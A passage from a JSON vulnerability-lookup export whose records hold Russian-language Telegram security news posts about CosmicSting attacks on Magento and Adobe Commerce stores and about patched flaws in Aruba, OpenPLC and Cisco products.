\u0442\u044b\u0441\u044f\u0447\u0438 \u043a\u043b\u044e\u0447\u0435\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f (\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0442\u043e\u043a\u0435\u043d\u0430 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 API) \u0443\u0436\u0435 \u0431\u044b\u043b\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u044b.\n\n\u041a\u043e\u0433\u0434\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0438 \u043a \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e \u0441\u0432\u043e\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0430\u043d\u043d\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043b\u043e \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439.\n\nAdobe\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0442\u0430\u0440\u044b\u0435 \u043a\u043b\u044e\u0447\u0438, \u043d\u043e, \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0443\u0441\u043b\u044b\u0448\u0430\u043b\u0438 \u043d\u0435 \u0432\u0441\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CosmicSting \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0430\u0439\u0442\u043e\u043c \u0443 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0430\u043a\u0442\u043e\u0440\u0430.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0434\u043e \u0442\u0440\u0435\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043f\u043e\u0441\u0435\u0449\u0430\u043b\u043e \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u043c\u0430\u0433\u0430\u0437\u0438\u043d.\n\nSansec \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b \u0438 \u0441\u043e\u0431\u0440\u0430\u043b \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e CosmicSting, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 Sansec \u0433\u0440\u0443\u043f\u043f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438\u0441\u044c: Bobry, Polyovki, Surki, Burunduki, Ondatry, Khomyaki, Belki.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Sansec \u043f\u0440\u043e\u0433\u043d\u043e\u0437\u0438\u0440\u0443\u044e\u0442, \u0447\u0442\u043e \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u043c\u0435\u0441\u044f\u0446\u044b \u0431\u0443\u0434\u0435\u0442 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043e \u0435\u0449\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043b\u043e\u0449\u0430\u0434\u043e\u043a (\u043c\u0443\u0434\u0430\u043a\u043e\u0432), \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 75% \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432 Adobe Commerce \u0438 Magento \u043d\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0411\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-10-02T16:25:05.000000Z"}, {"uuid": "a98819cf-4417-4cdd-bf11-294801459612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34026", "type": "seen", "source": "https://t.me/true_secator/6254", "content": "\u0418 \u0432\u043d\u043e\u0432\u044c \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0431\u0435\u0437 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a-\u0442\u043e \u0442\u0430\u043a:\n\n1. HPE Aruba Networking \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 CLI \u0441\u0432\u043e\u0438\u0445 \u0442\u043e\u0447\u0435\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Aruba, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Instant AOS-8 \u0438 AOS-10, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nCVE-2024-42505, CVE-2024-42506 \u0438 CVE-2024-42507 \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043d\u0430 UDP-\u043f\u043e\u0440\u0442 PAPI \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 RCE \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438 PoC \u043d\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e.\n\n2. \u0412 OpenPLC \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f DoS \u0438 RCE.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 Cisco Talos. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b 17 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f.\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f CVE-2024-34026 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 EtherNet/IP.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u044b\u0441\u043e\u043a\u043e\u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 CVE-2024-36980, CVE-2024-36981, CVE-2024-39589 \u0438 CVE-2024-39590 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e DoS.\n\n3. \u0421\u0430\u043c\u0430 Cisco \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 7 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c IOS \u0438 IOS XE.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c\u0438 \u0438\u0437 \u043e\u0448\u0438\u0431\u043e\u043a \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0448\u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 DoS, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0445 \u043d\u0430 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 UTD, \u0444\u0443\u043d\u043a\u0446\u0438\u044e RSVP, \u0444\u0443\u043d\u043a\u0446\u0438\u044e PIM, \u0444\u0443\u043d\u043a\u0446\u0438\u044e DHCP Snooping, \u0444\u0443\u043d\u043a\u0446\u0438\u044e HTTP-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043a\u043e\u0434 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 IPv4 \u0432 IOS \u0438 IOS XE.\n\n\u0412\u0441\u0435 \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u0421\u0435\u0434\u044c\u043c\u0430\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f IOS XE \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a CSRF-\u0430\u0442\u0430\u043a\u0430\u043c, \u0435\u0441\u043b\u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0431\u0435\u0434\u0438\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043f\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 SSH-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 Catalyst Center (CVE-2024-20350), JSON-RPC API Crosswork Network Services Orchestrator (NSO) \u0438 ConfD (CVE-2024-20381).\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 CVE-2024-20350 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043b\u044e\u0447 \u0445\u043e\u0441\u0442\u0430 SSH \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443 MitM, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0432 \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 SSH \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c Catalyst Center, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043a\u0440\u0430\u0436\u0443 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\nCVE-2024-20381 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 API JSON-RPC \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0438\u043b\u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c CVE-2024-20381 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b RV340 Dual WAN Gigabit VPN, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u0438 EoL \u0438 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0438 \u043e\u0434\u043d\u0430 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.", "creation_timestamp": "2024-09-26T19:30:05.000000Z"}, {"uuid": "3e3ca744-182f-4ca7-8d68-44b8de4d250b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/true_secator/6171", "content": "Cisco \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044f\u0432\u043d\u043e \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0432 \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0442\u043e\u0447\u043a\u0430\u043c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445 Cisco Identity Services Engine (ISE) \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c PoC.\n\n\u041a\u0430\u043a \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442\u00a0\u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 CLI \u0432 ISE \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043f\u0443\u0442\u0435\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u041e\u0421 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\nCVE-2024-20469 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445, \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041e\u0434\u043d\u0430\u043a\u043e, \u043a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u0435\u0442 Cisco, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0443 